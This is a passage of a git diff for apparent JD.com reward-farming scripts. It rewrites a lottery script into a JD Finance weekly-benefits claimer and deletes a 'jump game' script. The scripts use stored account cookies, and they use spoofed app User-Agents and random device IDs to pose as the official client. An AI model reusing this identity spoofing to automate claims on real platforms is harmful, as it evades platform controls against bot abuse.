require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_lxLottery.js b/jd_jr_draw.js similarity index 60% rename from jd_lxLottery.js rename to jd_jr_draw.js index 663abdd4d..901e9c95f 100644 --- a/jd_lxLottery.js +++ b/jd_jr_draw.js @@ -1,23 +1,23 @@ /* -京东我的理想家,可抽奖获得京豆, -活动入口:京东我的理想家 https://u.jd.com/nw7Fv3T 旁边的立即抽奖 +京东金融 每周领取权益活动 +活动入口:京东金融APP首页-会员中心-生活特权 +目前已知领取一次 ,其他的未知。 by:小手冰凉 tg:@chianPLA 交流群:https://t.me/jdPLA2 -脚本更新时间:2021-12-7 14:20 -脚本兼容: Node.js +脚本更新时间:2021-12-6 14:20 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js 新手写脚本,难免有bug,能用且用。 -============Quantumultx=============== +============Node=============== [task_local] -#京东我的理想家 -10 7 * * * jd jd_lxLottery.js, tag=京东我的理想家, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_lxLottery.png, enabled=true +#每周领取权益活动 +10 17 6 12 * jd jd_draw.js, tag=每周领取权益活动, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_jr_draw.png, enabled=true + +*/ - */ -const $ = new Env('京东我的理想家'); +const $ = new Env('京东金融每周领取权益活动'); const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -let configCode = "0628b69aed4d40c893096a6ca7119524"; //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', message; if ($.isNode()) { @@ -34,6 +34,7 @@ if ($.isNode()) { $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); return; } + console.log("目前已知领取一次 ,其他的未知。"); for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { cookie = cookiesArr[i]; @@ -52,8 +53,7 @@ if ($.isNode()) { } continue } - await jdmodule(); - await showMsg(); + await queryNewRightsDetail(); } } })() @@ -64,90 +64,36 @@ if ($.isNode()) { $.done(); }) -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - - -async function jdmodule() { - let runTime = 0; - do { - await getinfo(); //获取任务 - $.hasFinish = true; - await run(); - runTime++; - } while (!$.hasFinish && runTime < 6); - - await getinfo(); -console.log("开始抽奖"); - for (let x = 0; x < $.chanceLeft; x++) { - await join(); - await $.wait(1500) - } - - - -} - -//运行 -async function run() { - try { - for (let vo of $.taskinfo) { - if (vo.hasFinish === true) { - console.log(`任务${vo.taskName},已完成`); - continue; - } - if (vo.taskName.includes('加购') && !['card','car'].includes(process.env.FS_LEVEL)) { - console.log('默认跳过加购,请设置通用加购/开卡变量FS_LEVEL为car(加购)或card(开卡+加购)') - continue - } - console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); - await doTask(vo.taskType, vo.taskItem.itemId); - await $.wait(1000 * vo.viewTime) - await getReward(vo.taskType, vo.taskItem.itemId); - $.hasFinish = false; - } - } catch (e) { - console.log(e); - } -} - - -// 获取任务 -function getinfo() { +function queryNewRightsDetail() { return new Promise(resolve => { $.get({ - url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${configCode}&unionCardCode=`, + url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/queryNewRightsDetail?reqData=%7B%22appCode%22:%22jr-vip%22,%22version%22:%222.0%22,%22rid%22:%221007%22,%22drawEnv%22:%22H5%22%7D `, headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/json', - "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", - "origin": "https://prodev.m.jd.com", - 'X-Requested-With': 'com.jingdong.app.mall', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, + "Host": "ms.jr.jd.com", + "Connection": "keep-alive", + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.2.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.0.1.300 Mobile Safari/537.36", + "Origin": "https://m.jr.jd.com", + "Referer": "https://m.jr.jd.com/member/rights/index.html?utm_term=wxfriends&utm_source=iOS_url_1638418805663&utm_medium=jrappshare", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,th-CN;q=0.8,th;q=0.7,vi-CN;q=0.6,vi;q=0.5,en-US;q=0.4,en;q=0.3", + "cookie": cookie + } }, async (err, resp, data) => { try { if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getinfo请求失败,请检查网路重试`) + console.log(`${$.toStr(err)}`) + console.log(`queryNewRightsDetail API请求失败,请检查网路重试`) } else { data = JSON.parse(data); - $.chanceLeft = data.data.chanceLeft; - if (data.success == true) { - $.taskinfo = data.data.taskConfig - } else { - console.log(data.errorMessage); + for (let v of data.resultData.data.subRightsList1) { + if (v.lifeRightsSubRightsOneMainTitle.indexOf('京豆') !== -1) { + await drawNewMemberRights1(v.rightsId); + } } } } catch (e) { - $.logErr(e, resp); + $.logErr(e, resp) } finally { resolve(); } @@ -155,155 +101,83 @@ function getinfo() { }) } -//抽奖 -function join() { - return new Promise(async (resolve) => { +function drawNewMemberRights1(rightsId) { + return new Promise(resolve => { $.get({ - url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${configCode}&fp=${randomWord(false,32,32)}&eid=`, + url: `https://ms.jr.jd.com/gw/generic/hy/h5/m/drawNewMemberRights1?reqData=%7B%22appCode%22:%22jr-vip%22,%22version%22:%222.0%22,%22rid%22:${rightsId},%22drawEnv%22:%22H5%22%7D`, headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/json', - "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", - "origin": "https://prodev.m.jd.com", - 'X-Requested-With': 'com.jingdong.app.mall', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, + "Host": "ms.jr.jd.com", + "Connection": "keep-alive", + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.2.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.0.1.300 Mobile Safari/537.36", + "Origin": "https://m.jr.jd.com", + "Referer": "https://m.jr.jd.com/member/rights/index.html?utm_term=wxfriends&utm_source=iOS_url_1638418805663&utm_medium=jrappshare", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,th-CN;q=0.8,th;q=0.7,vi-CN;q=0.6,vi;q=0.5,en-US;q=0.4,en;q=0.3", + "cookie": cookie + } }, async (err, resp, data) => { try { if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} join请求失败,请检查网路重试`) + console.log(`${$.toStr(err)}`) + console.log(`drawNewMemberRights1 API请求失败,请检查网路重试`) } else { data = JSON.parse(data); - if (data.success == true) { - // console.log(data); - console.log(`抽奖结果:${data.data.rewardName}`); - } - else { - console.log(data.errorMessage); - } + console.log(data); } } catch (e) { - $.logErr(e, resp); + $.logErr(e, resp) } finally { resolve(); } }) }) } -//获取首页活动 -function doTask(taskType, itemId) { - return new Promise(resolve => { - let options = taskPostUrl('doTask', `{"configCode":"${configCode}","taskType":${taskType},"itemId":"${itemId}"}`) - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} doTask请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.success == true) { - console.log("领取任务成功"); - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - -//领取任务奖励 -function getReward(taskType, itemId) { - return new Promise(resolve => { - let options = taskPostUrl('getReward', `{"configCode":"${configCode}","taskType":${taskType},"itemId":"${itemId}"}`) - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} getReward请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.success == true) { - console.log("任务奖励领取成功"); - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function taskPostUrl(function_id, body = {}) { - return { - url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, - body: `${(body)}`, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/json", - "Host": "jdjoy.jd.com", - "x-requested-with": "com.jingdong.app.mall", - "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", - "origin": "https://prodev.m.jd.com", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - function TotalBean() { return new Promise(async resolve => { const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "url": `https://m.jingxi.com/user/info/GetJDUserBaseInfo?_=${Date.now()}&sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" + "Connection": "keep-alive", + "Host": "m.jingxi.com", + "Cookie": cookie, + "Referer": "https://st.jingxi.com/my/userinfo.html?sceneval=2&ptag=7205.12.4", + "User-Agent": `jdapp;android;10.1.3;10;${randomString(40)};network/wifi;model/WLZ-AN00;addressid/874716028;aid/550eca6b467ca4f3;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/90017;partner/jingdong;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045714 Mobile Safari/537.36`, + "deviceOS": "android", + "deviceOSVersion": 10, + "deviceName": "WeiXin" } } - $.get(options, (err, resp, data) => { + $.post(options, (err, resp, data) => { try { if (err) { - $.logErr(err) + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) } else { if (data) { data = JSON.parse(data); - if (data['retcode'] === "1001") { + if (data["retcode"] === 13) { $.isLogin = false; //cookie过期 + console.log("1"); return; } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; + if (data["retcode"] === 0) { + $.nickName = (data.nickname) || $.UserName; + } else { + $.nickName = $.UserName; } } else { - $.log('京东服务器返回空数据'); + console.log(`京东服务器返回空数据`) } } } catch (e) { - $.logErr(e) + $.logErr(e, resp) } finally { resolve(); } @@ -334,20 +208,12 @@ function jsonParse(str) { } } -function randomWord(randomFlag, min, max){ - var str = "", - range = min, - arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; - - // 随机产生 - if(randomFlag){ - range = Math.round(Math.random() * (max-min)) + min; - } - for(var i=0; i { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_jump.js b/jd_jump.js deleted file mode 100644 index 5b7397d3a..000000000 --- a/jd_jump.js +++ /dev/null @@ -1,494 +0,0 @@ -/* -author:star -跳跳乐瓜分京豆脚本 -更新时间:2021-05-21 -活动入口:来客有礼(微信小程序)=>跳跳乐或京东APP=》首页=》母婴馆=》底部中间 -注:默认不做添加物品至购物车任务,守护京东APP最后一片净土。 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -================QuantumultX================== -[task_local] -#跳跳乐瓜分京豆 -1 0,11,21 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jump.js, tag=跳跳乐瓜分京豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -===================Loon============== -[Script] -cron "1 0,11,21 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jump.js, tag=跳跳乐瓜分京豆 -===============Surge=============== -[Script] -跳跳乐瓜分京豆 = type=cron,cronexp="1 0,11,21 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jump.js -====================================小火箭============================= -跳跳乐瓜分京豆 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jump.js, cronexpr="1 0,11,21 * * *", timeout=3600, enable=true -*/ -const $ = new Env('跳跳乐瓜分京豆'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -// $.helpCodeList = []; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - console.log(`注:脚本默认不做添加物品至购物车任务,请设置FS_LEVEL为car(加购)或card(开卡加购)。\n`); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = $.UserName; - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jump() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jump() { - $.nowTime = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000; - $.jumpList = []; - await getGameList(); - if ($.jumpList.length === 0) { - console.log(`获取活动列表失败`); - return; - } - await $.wait(1000); - for (let i = 0; i < $.jumpList.length; i++) { - $.jumpId = $.jumpList[i].id; - 